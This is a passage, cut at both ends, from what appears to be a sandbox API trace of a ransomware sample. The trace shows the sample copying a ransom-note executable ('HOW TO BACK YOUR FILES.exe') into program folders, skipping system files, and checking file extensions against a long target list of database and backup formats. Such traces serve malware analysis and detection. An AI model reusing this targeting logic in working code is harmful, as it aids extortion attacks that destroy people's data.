Framework\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.472] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0038.472] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.472] ReleaseMutex (hMutex=0xec) returned 1 [0038.473] CloseHandle (hObject=0xec) returned 1 [0038.473] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Synchronization Services" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0038.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0038.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c380 | out: hHeap=0x4f0000) returned 1 [0038.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services") returned 51 [0038.473] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8F0C902C2C33987EF02F9FC2370E8300") returned 0xec [0038.473] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.473] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Synchronization Services" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0038.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.473] GetLastError () returned 0x0 [0038.473] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.473] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.473] CloseHandle (hObject=0xf4) returned 1 [0038.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.474] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.474] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.474] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.474] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.474] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.474] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.474] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.474] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.474] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2=".") returned 1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="..") returned 1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="windows") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="bootmgr") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="temp") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="pagefile.sys") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="boot") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="ids.txt") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="ntuser.dat") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="perflogs") returned -1 [0038.474] lstrcmpiW (lpString1="ADO.NET", lpString2="MSBuild") returned -1 [0038.474] lstrlenW (lpString="ADO.NET") returned 7 [0038.474] lstrcpyW (in: lpString1=0x241e8b0, lpString2="ADO.NET" | out: lpString1="ADO.NET") returned="ADO.NET" [0038.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c380 [0038.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501c28 [0038.475] lstrcatW (in: lpString1="ADO.NET", lpString2="\\" | out: lpString1="ADO.NET\\") returned="ADO.NET\\" [0038.475] lstrcatW (in: lpString1="ADO.NET\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ADO.NET\\HOW TO BACK YOUR FILES.exe") returned="ADO.NET\\HOW TO BACK YOUR FILES.exe" [0038.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.477] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0af9f0, ftCreationTime.dwHighDateTime=0x1d510a5, ftLastAccessTime.dwLowDateTime=0x65ea5fb0, ftLastAccessTime.dwHighDateTime=0x1d5741d, ftLastWriteTime.dwLowDateTime=0x65ea5fb0, ftLastWriteTime.dwHighDateTime=0x1d5741d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="appreciation.exe", cAlternateFileName="APPREC~1.EXE")) returned 1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2=".") returned 1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="..") returned 1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="windows") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="bootmgr") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="temp") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="pagefile.sys") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="boot") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="ids.txt") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="ntuser.dat") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="perflogs") returned -1 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2="MSBuild") returned -1 [0038.477] lstrlenW (lpString="appreciation.exe") returned 16 [0038.477] lstrcpyW (in: lpString1=0x241e8b0, lpString2="appreciation.exe" | out: lpString1="appreciation.exe") returned="appreciation.exe" [0038.477] lstrlenW (lpString="appreciation.exe") returned 16 [0038.477] lstrlenW (lpString="Athena865") returned 9 [0038.477] lstrcmpiW (lpString1="ation.exe", lpString2="Athena865") returned 1 [0038.477] lstrlenW (lpString=".dll") returned 4 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2=".dll") returned 1 [0038.477] lstrlenW (lpString=".lnk") returned 4 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2=".lnk") returned 1 [0038.477] lstrlenW (lpString=".ini") returned 4 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2=".ini") returned 1 [0038.477] lstrlenW (lpString=".sys") returned 4 [0038.477] lstrcmpiW (lpString1="appreciation.exe", lpString2=".sys") returned 1 [0038.477] lstrlenW (lpString="appreciation.exe") returned 16 [0038.477] lstrlenW (lpString="bak") returned 3 [0038.477] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.477] lstrlenW (lpString="ba_") returned 3 [0038.477] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.478] lstrlenW (lpString="dbb") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.478] lstrlenW (lpString="vmdk") returned 4 [0038.478] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.478] lstrlenW (lpString="rar") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.478] lstrlenW (lpString="zip") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.478] lstrlenW (lpString="tgz") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.478] lstrlenW (lpString="vbox") returned 4 [0038.478] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.478] lstrlenW (lpString="vdi") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.478] lstrlenW (lpString="vhd") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.478] lstrlenW (lpString="vhdx") returned 4 [0038.478] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.478] lstrlenW (lpString="avhd") returned 4 [0038.478] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.478] lstrlenW (lpString="db") returned 2 [0038.478] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.478] lstrlenW (lpString="db2") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.478] lstrlenW (lpString="db3") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.478] lstrlenW (lpString="dbf") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.478] lstrlenW (lpString="mdf") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.478] lstrlenW (lpString="mdb") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.478] lstrlenW (lpString="sql") returned 3 [0038.478] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.478] lstrlenW (lpString="sqlite") returned 6 [0038.478] lstrcmpiW (lpString1="on.exe", lpString2="sqlite") returned -1 [0038.478] lstrlenW (lpString="sqlite3") returned 7 [0038.478] lstrcmpiW (lpString1="ion.exe", lpString2="sqlite3") returned -1 [0038.478] lstrlenW (lpString="sqlitedb") returned 8 [0038.479] lstrcmpiW (lpString1="tion.exe", lpString2="sqlitedb") returned 1 [0038.479] lstrlenW (lpString="xml") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.479] lstrlenW (lpString="$er") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.479] lstrlenW (lpString="4dd") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.479] lstrlenW (lpString="4dl") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.479] lstrlenW (lpString="^^^") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.479] lstrlenW (lpString="abs") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.479] lstrlenW (lpString="abx") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.479] lstrlenW (lpString="accdb") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accdb") returned 1 [0038.479] lstrlenW (lpString="accdc") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accdc") returned 1 [0038.479] lstrlenW (lpString="accde") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accde") returned 1 [0038.479] lstrlenW (lpString="accdr") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accdr") returned 1 [0038.479] lstrlenW (lpString="accdt") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accdt") returned 1 [0038.479] lstrlenW (lpString="accdw") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accdw") returned 1 [0038.479] lstrlenW (lpString="accft") returned 5 [0038.479] lstrcmpiW (lpString1="n.exe", lpString2="accft") returned 1 [0038.479] lstrlenW (lpString="adb") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.479] lstrlenW (lpString="adb") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.479] lstrlenW (lpString="ade") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.479] lstrlenW (lpString="adf") returned 3 [0038.479] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.479] lstrlenW (lpString="adn") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.480] lstrlenW (lpString="adp") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.480] lstrlenW (lpString="alf") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.480] lstrlenW (lpString="ask") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.480] lstrlenW (lpString="btr") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.480] lstrlenW (lpString="cat") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.480] lstrlenW (lpString="cdb") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.480] lstrlenW (lpString="ckp") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.480] lstrlenW (lpString="cma") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.480] lstrlenW (lpString="cpd") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.480] lstrlenW (lpString="dacpac") returned 6 [0038.480] lstrcmpiW (lpString1="on.exe", lpString2="dacpac") returned 1 [0038.480] lstrlenW (lpString="dad") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.480] lstrlenW (lpString="dadiagrams") returned 10 [0038.480] lstrcmpiW (lpString1="iation.exe", lpString2="dadiagrams") returned 1 [0038.480] lstrlenW (lpString="daschema") returned 8 [0038.480] lstrcmpiW (lpString1="tion.exe", lpString2="daschema") returned 1 [0038.480] lstrlenW (lpString="db-journal") returned 10 [0038.480] lstrcmpiW (lpString1="iation.exe", lpString2="db-journal") returned 1 [0038.480] lstrlenW (lpString="db-shm") returned 6 [0038.480] lstrcmpiW (lpString1="on.exe", lpString2="db-shm") returned 1 [0038.480] lstrlenW (lpString="db-wal") returned 6 [0038.480] lstrcmpiW (lpString1="on.exe", lpString2="db-wal") returned 1 [0038.480] lstrlenW (lpString="dbc") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.480] lstrlenW (lpString="dbs") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.480] lstrlenW (lpString="dbt") returned 3 [0038.480] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.481] lstrlenW (lpString="dbv") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.481] lstrlenW (lpString="dbx") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.481] lstrlenW (lpString="dcb") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.481] lstrlenW (lpString="dct") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.481] lstrlenW (lpString="dcx") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0038.481] lstrlenW (lpString="ddl") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0038.481] lstrlenW (lpString="dlis") returned 4 [0038.481] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0038.481] lstrlenW (lpString="dp1") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0038.481] lstrlenW (lpString="dqy") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0038.481] lstrlenW (lpString="dsk") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0038.481] lstrlenW (lpString="dsn") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0038.481] lstrlenW (lpString="dtsx") returned 4 [0038.481] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0038.481] lstrlenW (lpString="dxl") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0038.481] lstrlenW (lpString="eco") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0038.481] lstrlenW (lpString="ecx") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0038.481] lstrlenW (lpString="edb") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0038.481] lstrlenW (lpString="epim") returned 4 [0038.481] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0038.481] lstrlenW (lpString="fcd") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0038.481] lstrlenW (lpString="fdb") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0038.481] lstrlenW (lpString="fic") returned 3 [0038.481] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0038.482] lstrlenW (lpString="flexolibrary") returned 12 [0038.482] lstrcmpiW (lpString1="eciation.exe", lpString2="flexolibrary") returned -1 [0038.482] lstrlenW (lpString="fm5") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0038.482] lstrlenW (lpString="fmp") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0038.482] lstrlenW (lpString="fmp12") returned 5 [0038.482] lstrcmpiW (lpString1="n.exe", lpString2="fmp12") returned 1 [0038.482] lstrlenW (lpString="fmpsl") returned 5 [0038.482] lstrcmpiW (lpString1="n.exe", lpString2="fmpsl") returned 1 [0038.482] lstrlenW (lpString="fol") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0038.482] lstrlenW (lpString="fp3") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0038.482] lstrlenW (lpString="fp4") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0038.482] lstrlenW (lpString="fp5") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0038.482] lstrlenW (lpString="fp7") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0038.482] lstrlenW (lpString="fpt") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0038.482] lstrlenW (lpString="frm") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0038.482] lstrlenW (lpString="gdb") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.482] lstrlenW (lpString="gdb") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.482] lstrlenW (lpString="grdb") returned 4 [0038.482] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0038.482] lstrlenW (lpString="gwi") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0038.482] lstrlenW (lpString="hdb") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0038.482] lstrlenW (lpString="his") returned 3 [0038.482] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0038.482] lstrlenW (lpString="ib") returned 2 [0038.482] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0038.483] lstrlenW (lpString="idb") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0038.483] lstrlenW (lpString="ihx") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0038.483] lstrlenW (lpString="itdb") returned 4 [0038.483] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0038.483] lstrlenW (lpString="itw") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0038.483] lstrlenW (lpString="jet") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0038.483] lstrlenW (lpString="jtx") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0038.483] lstrlenW (lpString="kdb") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0038.483] lstrlenW (lpString="kexi") returned 4 [0038.483] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0038.483] lstrlenW (lpString="kexic") returned 5 [0038.483] lstrcmpiW (lpString1="n.exe", lpString2="kexic") returned 1 [0038.483] lstrlenW (lpString="kexis") returned 5 [0038.483] lstrcmpiW (lpString1="n.exe", lpString2="kexis") returned 1 [0038.483] lstrlenW (lpString="lgc") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0038.483] lstrlenW (lpString="lwx") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0038.483] lstrlenW (lpString="maf") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0038.483] lstrlenW (lpString="maq") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0038.483] lstrlenW (lpString="mar") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0038.483] lstrlenW (lpString="marshal") returned 7 [0038.483] lstrcmpiW (lpString1="ion.exe", lpString2="marshal") returned -1 [0038.483] lstrlenW (lpString="mas") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0038.483] lstrlenW (lpString="mav") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0038.483] lstrlenW (lpString="maw") returned 3 [0038.483] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0038.484] lstrlenW (lpString="mdbhtml") returned 7 [0038.484] lstrcmpiW (lpString1="ion.exe", lpString2="mdbhtml") returned -1 [0038.484] lstrlenW (lpString="mdn") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0038.484] lstrlenW (lpString="mdt") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0038.484] lstrlenW (lpString="mfd") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0038.484] lstrlenW (lpString="mpd") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0038.484] lstrlenW (lpString="mrg") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0038.484] lstrlenW (lpString="mud") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0038.484] lstrlenW (lpString="mwb") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0038.484] lstrlenW (lpString="myd") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0038.484] lstrlenW (lpString="ndf") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0038.484] lstrlenW (lpString="nnt") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0038.484] lstrlenW (lpString="nrmlib") returned 6 [0038.484] lstrcmpiW (lpString1="on.exe", lpString2="nrmlib") returned 1 [0038.484] lstrlenW (lpString="ns2") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0038.484] lstrlenW (lpString="ns3") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0038.484] lstrlenW (lpString="ns4") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0038.484] lstrlenW (lpString="nsf") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0038.484] lstrlenW (lpString="nv") returned 2 [0038.484] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0038.484] lstrlenW (lpString="nv2") returned 3 [0038.484] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0038.484] lstrlenW (lpString="nwdb") returned 4 [0038.484] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0038.484] lstrlenW (lpString="nyf") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0038.485] lstrlenW (lpString="odb") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.485] lstrlenW (lpString="odb") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.485] lstrlenW (lpString="oqy") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0038.485] lstrlenW (lpString="ora") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0038.485] lstrlenW (lpString="orx") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0038.485] lstrlenW (lpString="owc") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0038.485] lstrlenW (lpString="p96") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0038.485] lstrlenW (lpString="p97") returned 3 [0038.485] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0038.485] lstrlenW (lpString="pan") returned 3 [0038.485] lstrcmpiW 